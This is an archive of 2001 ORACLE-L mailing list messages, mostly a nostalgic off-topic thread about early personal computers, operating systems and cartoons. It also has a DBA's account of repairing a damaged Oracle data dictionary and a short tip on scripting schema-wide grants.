course, the MS marketing machine. They were another company that had 90%+ of the market and thought they were the king, untoucable and arrogant then along came MS with Word. Its been the same story over and over with every company that has gone up against MS. And Palm/Handspring is next... 3) What company made the first Portable (luggable) computers? Oh I cant think of the name. But the metal case was sort of a greyish blue, and it had a lid which was the keyboard. And it had a little monochrome monitor, and I believe it was 5 1/4 floppy drive. The first MAC (128K, 400K floppy) had no handle, I had one(still have it) 4) What was Special about the inside of the Mac case? It has the signatures of all the creators. 5) Who wrote QDOS? sigh, I agree, the good ol' daze [EMAIL PROTECTED] 08/02/01 06:57AM On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter crayon: -Was CP/M the OS that Bill Gates bought just before making his big deal with -IBM? Can't remember. - -Regards, -Patrice Boivin -Systems Analyst (Oracle Certified DBA) - - -Original Message- - CP/M [or is it CPM i've seen it written both ways.] - - AFAIK, no. it was an OS from a small local company called QDOS [Quick and Dirty Operating System] if i'm not suffering from too much bit rot. CP/M was the other OS in contention. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vergara, Michael (TEM) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Lange INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
heck, I did production work over a 300 baud modem -- the one where you had to dial in and then place the handset into the cups :) and I thought it was the speediest thing ever From: Seley, Linda [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 10:28:15 -0800 One of those Compaqs was the first portable I took home from work 7 years ago! It sat in my basement until 3 years ago when I lugged it back - we were moving and I didn't want to be responsible for it any more! (Gosh, a 1200k modem?) Same company that is *still* using PL/1 as it's mainframe programming language and APL in the actuarial department. Linda -Original Message- Sent: Thursday, August 02, 2001 10:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Seley, Linda INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: Test message
doh. [EMAIL PROTECTED] 08/02/01 02:28PM Too late. -Original Message-Sent: Thursday, August 02, 2001 12:47 PMTo: Multiple recipients of list ORACLE-LIgnore this message.-- Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: Arich Henneman INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).-- Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: Mohan, Ross INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT
yeah, that guy is probably kicking himsef. but probably not as bad as the boneheads a Xerox! KK No offense if someone on this list currently works for, has worked for or knows someone that works or worked for Xerox, you're not boneheads:) -Original Message- Michael (TEM) Sent: Thursday, August 02, 2001 3:10 PM To: Multiple recipients of list ORACLE-L I sure hope somebody is capturing this thread! This is a history of computing as seen by the people in the trenches! Now... 3) What company made the first Portable (luggable) computers? It was either Kaypro or Osborne. The Ozzy had a little tiny 40-column screen and dual 5.25 floppies. The Kaypro had an 80-column screen and dual floppies. If I remember correctly, Microsoft bought QDOS from Seattle Computer Works for around $50k so they could have an O/S for IBM's first PC. I cannot remember the name of the guy who owned CP/M, but they would not sign IBM's non-disclosure agreement, and sent IBM to Gates. MS had nothing to lose so they signed and the rest is history. --- === Michael P. Vergara | Don't worry about the world ending today; Oracle DBA | it's already tomorrow in Australia. Guidant Corporation | - Charles Schulz -Original Message- Sent: Thursday, August 02, 2001 10:41 AM To: Multiple recipients of list ORACLE-L The cartridge that came with the 2600 was COMBAT. It had a tank game and a biplane game. If they added another cartridge, it must have been in the later years. And the whole package cost $150 Now I remember... 1) Who started Atari, what else did he start? 2) What Graphical computer preceeded the Mac? Lisa, thats easy. I remember seeing a demo of it. I was totally amazed. Everyone was drooling over it. It was big and expensive, and then the Mac came out and they were selling like crazy. Everyone had one except for me. CP/M Control Program for Microcomputers - It was the first big OS. 2.5 What was the first Big Time Word processor that eventually lost out to Word? WordPerfect. Not sure they lost out. I believe it was a mix of they didnt push there Windows version like MS, and then of course, the MS marketing machine. They were another company that had 90%+ of the market and thought they were the king, untoucable and arrogant then along came MS with Word. Its been the same story over and over with every company that has gone up against MS. And Palm/Handspring is next... 3) What company made the first Portable (luggable) computers? Oh I cant think of the name. But the metal case was sort of a greyish blue, and it had a lid which was the keyboard. And it had a little monochrome monitor, and I believe it was 5 1/4 floppy drive. The first MAC (128K, 400K floppy) had no handle, I had one(still have it) 4) What was Special about the inside of the Mac case? It has the signatures of all the creators. 5) Who wrote QDOS? sigh, I agree, the good ol' daze [EMAIL PROTECTED] 08/02/01 06:57AM On Thu, 2 Aug 2001,Boivin, Patrice J scribbled on the wall in glitter crayon: -Was CP/M the OS that Bill Gates bought just before making his big deal with -IBM? Can't remember. - -Regards, -Patrice Boivin -Systems Analyst (Oracle Certified DBA) - - -Original Message- - CP/M [or is it CPM i've seen it written both ways.] - - AFAIK, no. it was an OS from a small local company called QDOS [Quick and Dirty Operating System] if i'm not suffering from too much bit rot. CP/M was the other OS in contention. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Vergara, Michael (TEM) INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
my last company still used pdp-11s -Original Message- Sent: Thursday, August 02, 2001 1:28 PM To: Multiple recipients of list ORACLE-L It was a magical box to a middle-aged me as well and looked much better than my ugly metallic Kaypro. -Original Message- Sent: Thursday, August 02, 2001 11:42 AM To: Multiple recipients of list ORACLE-L yeah, my father still try's to impress me with stories of punch cards and such. It's pretty funny. The oldest computer I know of and still have is a compaq portable computer. It has the old 5 1/4 floppy drives and a little tiny screen. It's basically a suitcase, weighs about 40 pounds, the bottom is the keyboard. Kinda cool, I remember playing games on it as a kid and thinking it was the most amazing thing. Now it makes a good foot rest, but that's about it:) kk -Original Message- Sent: Thursday, August 02, 2001 10:52 AM To: Multiple recipients of list ORACLE-L And just think about the PC being an advanced system for some of us. Wait until we again start talking about using paper tapes and having to use scotch tape to put them back together to run them through. Or even the older guys that talk about switch boards. I am not as old as them. My computer days just go back to the mid 70's. I love this stuff(being a nerd wannabe), but I don't have a frickin clue what any of you are talking about:) -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Kevin Kostyszyn INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Norwood Bradly A INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). The information contained in this e-mail is strictly confidential and for the intended use of the addressee only; it may also be legally privileged and/or price sensitive. Notice is hereby given that any disclosure, use or copying of the information by anyone other than the intended recipient is prohibited and may be illegal. If you have received this message in error, please notify the sender immediately by return e-mail. Corporate Systems, Inc. has taken every reasonable precaution to ensure that any attachment to this e-mail has been swept for viruses. We accept no liability for any damage sustained as a result of software viruses and advise you carry out your own virus checks before opening any attachment. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: April Wells INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing).
RE: OT -- suggestions to ensure nerdiness in potential IT staff
And the Wayback Machine Rachel Carmichael To: Multiple recipients of list ORACLE-L carmichr@hot[EMAIL PROTECTED] mail.comcc: Sent by: Subject: RE: OT -- suggestions to ensure root@fatcity.nerdiness in potential IT staff com 08/02/2001 02:11 PM Please respond to ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED]
RE: OT -- suggestions to ensure nerdiness in potential IT staff
Title: RE: OT -- suggestions to ensure nerdiness in potential IT staff I have to agree with Kevin, this thread is great. However it makes me feel like I really am in the wrong profession, at the wrong time in the wrong place :( . In 1981 I was 5 years old and I've never really touched a computer until about 3 years ago, let alone know any of the answers to any of those questions. You guys are great! I have learned so much from this list. Not only the technical stuff but learning about the IT and dba culture from you all is invaluable! I went to school for psych, so some of this old school talk that us young ones would hear from college cis professors I unfortunately never received, much less the knowledge of that curriculum. I am speechless when I step back and look at this list and realize how diverse this list really is. I mean we have list members from so many parts of the world and from so many different walks of life. Who would have ever thought that this young Puerto Rican punk from the 'hood would have anything in common with you all? I can see us all now at a bar after an oracle event, me in my baggy jeans, timberland boots, Iceberg shirt, etc. enjoying beers with you all. Everyone enjoying and sharing a common bond (dba, oracle) that brings us all together. Most of you all's peers wouldn't even look our way or have two words for me and my friends in our natural environment. But I think I'd feel just as comfortable around you all as I do at a block party in Bed-Stuy or chilling with some of my friends in Liberty City, Miami. All I can say the list is: I GIVE YOU ALL PROPS AND I GOT MAD LOVE FOR YALL! (translation: I hold you all in high esteem and greatly admire and respect you all). Thanks for everything. Ivan
RV: Ever seen any of these errors?
Hi,
I believe that you must be connectd as SYS or Internal and you must to run
the script catproc.sql
PATH: .../product/.../rdbms/admin/catproc.sql
- Original Message -
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Sent: Wednesday, August 01, 2001 5:51 PM
Our Financials production database server crashed last week. When it came
back up Oracle seemed to come up with no errors, everything connected
properly, etc. That evening the SA rebooted the machine to turn on
diagnostics for Sun. Oracle shutdown normally but after it came back up I
started getting paged that some of the Financials processes weren't
working.
I tried to start them and failed so I began poking around. When I logged
into SQL*Plus I got errors. Unfortunately I didn't start writing things
down until I had it 90% fixed :-{ but I *think* this was the order. I
backed up before and after. Then, after each step, I recompiled any
invalid
objects in the database. I ran sqlplus /nolog, then connect internal,
both
for consistancy and to run the $ORACLE_HOME/rdbms/admin scripts.
1) ORA-06553: PLS-213: PACKAGE STANDARD not accessible
Error accessing package DBMS_APPLICATION_INFO
I checked for invalid objects, one _next_object (which appears to be a
bug)
and a Financials package that is always invalid.
2) OK, let's try to recreate STANDARD. Ran the script, no errors
SQL*Plus is still complaining.
3) Somewhere along the line I saw references to catalog and catproc on
Metalink. After some more searching, I decided I didn't have anything to
lose. Ran catalog without errors. Catproc had errors in a number of
places. I got dbms_output errors:
create or replace package dbms_output as
*
ERROR at line 1:
ORA-00604: error occurred at recursive SQL level 1
ORA-1: unique constraint (SYS.I_OBJ2) violated
H, it's doing 'create or replace', something's fishy
Got a 'ORA-00921: unexpected end of SQL command' when it was running
catqueue.sql.
Got the errors:
create or replace type sys.aq$_dummy_t as object (data char(1));
*
ERROR at line 1:
ORA-6545: PL/SQL: compilation error - compilation aborted
ORA-06550: line 2, column 1:
PLS-00103: Encountered the symbol GRANT
ORA-06550: line 0, column 0:
PLS-00565: AQ$_DUMMY_T must be completed as a potential REF target
(object type)
These were the only error messages (other than dropping non-existant
indexes
and those type of messages).
4) I reran catproc, now the STANDARD errors are gone in SQL*Plus! But,
when
I logged in then I got:
PLS-00201: identifier DBMS_OUTPUT.DISABLE must be declared
and
Use of Oracle SQL feature not in SQL92 Entry Level
5) I changed catqueue.sql to get rid of a blank line and fixed the ORA-921
error.
6) In prvtaq.plb I removed the ; at the end of the first line and inserted
a
/ on the second line to fix the sys.aq$_dummy_t error messages
7) Reran catproc again (I actually ran it twice, once after each script I
changed). Finally, no errors, including the DBMS_OUTPUT.DISABLE!
8) Logged into SQL*Plus with no errors!
Whew! So what could have caused the problems to begin with? There were
no
errors in the alert log. I ran dbv on all the datafiles, everything was
clean. The server crashed because of a bad processor, not because of a
bad
disk (that was the development box on Sunday :-} ). No core dumps. I
especially love the unique constraint violation on sys.i_obj2
I count myself lucky, I didn't have to call Support, we didn't have
problems
until after the reboot at 8:30 pm instead of during the middle of the day,
and it's been a week without any other problems.
Thanks!
Linda
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Re: OT -- suggestions to ensure nerdiness in potential IT staff
Now your getting to the good stuff! Ruth - Original Message - To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Sent: Thursday, August 02, 2001 2:39 PM And the Wayback Machine Rachel Carmichael To: Multiple recipients of list ORACLE-L carmichr@hot[EMAIL PROTECTED] mail.comcc: Sent by: Subject: RE: OT -- suggestions to ensure root@fatcity.nerdiness in potential IT staff com 08/02/2001 02:11 PM Please respond to ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Ruth Gramolini INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L
Re: grants to schema query
as owner: spool /tmp/update_all.spl select 'grant update on '||table_name||' to user;' from user_tables; spool off @/tmp/update_all.spl joe [EMAIL PROTECTED] 08/02/01 11:01AM Hope there is not an obvious answer to this. I want to grant UPDATE privto all objects in a schema to a user. Do I need to grant to each object orcan I somehow wildcard all the objects?. What are my option(s)?. I'dappreciate example grant statements!Sean :)Rookie Data Base AdministratorOracle 7.3.3, 8.0.5, 8.1.7 - NT, W2K[0%] OCP Oracle8i DBA[0%] OCP Oracle9i DBA Organon (Ireland) Ltd.E-mail: [EMAIL PROTECTED] [subscribed: Digest Mode]Visit: http://groups.yahoo.com/group/Oracle-OCP-DBA"Nobody loves me but my mother... and she could be jivin' too." - BB King-- Please see the official ORACLE-L FAQ: http://www.orafaq.com-- Author: O'Neill, Sean INET: [EMAIL PROTECTED]Fat City Network Services -- (858) 538-5051 FAX: (858) 538-5051San Diego, California -- Public Internet access / Mailing ListsTo REMOVE yourself from this mailing list, send an E-Mail messageto: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and inthe message BODY, include a line containing: UNSUB ORACLE-L(or the name of mailing list you want to be removed from). You mayalso send the HELP command for other information (like subscribing).
Re: OT -- suggestions to ensure nerdiness in potential IT staff
Sort of like UNIX in that it was sparse on the vowels. What are you talking about? There's 2 of them right there in the name. Jared ;) [EMAIL PROTECTED] Sent by: To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] [EMAIL PROTECTED] cc: om Subject: Re: OT -- suggestions to ensure nerdiness in potential IT staff 08/02/01 08:27 AM Please respond to ORACLE-L In 1981 my oldest child was 2 and I was working on a very primitive RDBMS at Boeing. As a pre-teen I was making a crystal radio and wondering why anyone would pay for batteries or electricity to power the radio when you could get all the energy that you needed from the broadcast itself. As a summer job in college I coded Computer Aided Instruction programs written in Coursewriter II that ran on an IBM 70x (don't remember the last digit) which had a magnetic core memory. Output came back on IBM electric typewriters that had been Rube Goldberged up as personal printers. My 2nd IT job was as a computer operator on an IBM 360. The boot sequence was toggled in using switches on the front of the computer. The IBM 370 had a 5 1/4 disk hard-wired that contained the boot sequence (circa 1977). did a survey to find the most used micro computer in the business environment. Then they went out and built a whole suite of integrated business products for that computer. There was a spreadsheet (BoeingCalc), a word processor, a mail program,a TTY terminal emulator, etc. Cost millions to develop. Unfortunately, it was developed for the Terak, not the IBM PC. The Terak was a rack-mounted 8-bit microprocessor whose main role was to control 6-axis milling machines. Not much demand for an integrated business suite there. Hard sectored floppies had their tracks physically defined. If I remember right there were a series of small holes punched between each track so that the head could align itself with the track. Soft sectored floppies are what we use today, where the media is continuous over the whole surface and the track (and the inter track gap) are defined magnetically. I do remember the 8 floppies. They made great frisbies. APL is A Programming Language. If I remember right it didn't allow GOTOs. It also had its own keyboard with its own character set. Completely unintelligible to the uninitiated. Was the turtle language based on LISP? 800 BPI or 1600 BPI tapes? What's the blocking factor? I forget what the IEUtility was that I used for reading those standard (and non-standard) labels, but once you figured out the block size and the blocking factor you could dump the tape to an EPSDIC flat file and figure out the record layout. I saved many a boss's butt doing that in my early years. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from
RE: OT -- suggestions to ensure nerdiness in potential IT staff
What was it Dreezel...drazzle...drozzle...drone Time for this one to come home! --- === Michael P. Vergara | Don't worry about the world ending today; Oracle DBA | it's already tomorrow in Australia. Guidant Corporation | - Charles Schulz -Original Message- Sent: Thursday, August 02, 2001 11:39 AM To: Multiple recipients of list ORACLE-L And the Wayback Machine Rachel Carmichael To: Multiple recipients of list ORACLE-L carmichr@hot[EMAIL PROTECTED] mail.comcc: Sent by: Subject: RE: OT -- suggestions to ensure root@fatcity.nerdiness in potential IT staff com 08/02/2001 02:11 PM Please respond to ORACLE-L Okay, who remembers Fractured Fairy Tales and the Professor and his boy Sherman? From: Farnsworth, Dave [EMAIL PROTECTED] Reply-To: [EMAIL PROTECTED] To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED] Subject: RE: OT -- suggestions to ensure nerdiness in potential IT staff Date: Thu, 02 Aug 2001 08:41:38 -0800 And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? Very nice!! I saw that all the time on my Saturdays watching Rocky and Bullwinkel, Tom and Jerry and my favorite, Bugs Bunny!! Dave -Original Message- Sent: Thursday, August 02, 2001 10:27 AM To: Multiple recipients of list ORACLE-L And the question (still yet to be properly answered) is How many licks does it take to get to the center of a Tootsie Pop? I remember a turtle, BUT he spoke to Mr. Owl, and the answer was 3. -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Page, Bruce INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Farnsworth, Dave INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / Mailing Lists To REMOVE yourself from this mailing list, send an E-Mail message to: [EMAIL PROTECTED] (note EXACT spelling of 'ListGuru') and in the message BODY, include a line containing: UNSUB ORACLE-L (or the name of mailing list you want to be removed from). You may also send the HELP command for other information (like subscribing). _ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp -- Please see the official ORACLE-L FAQ: http://www.orafaq.com -- Author: Rachel Carmichael INET: [EMAIL PROTECTED] Fat City Network Services-- (858) 538-5051 FAX: (858) 538-5051 San Diego, California-- Public Internet access / 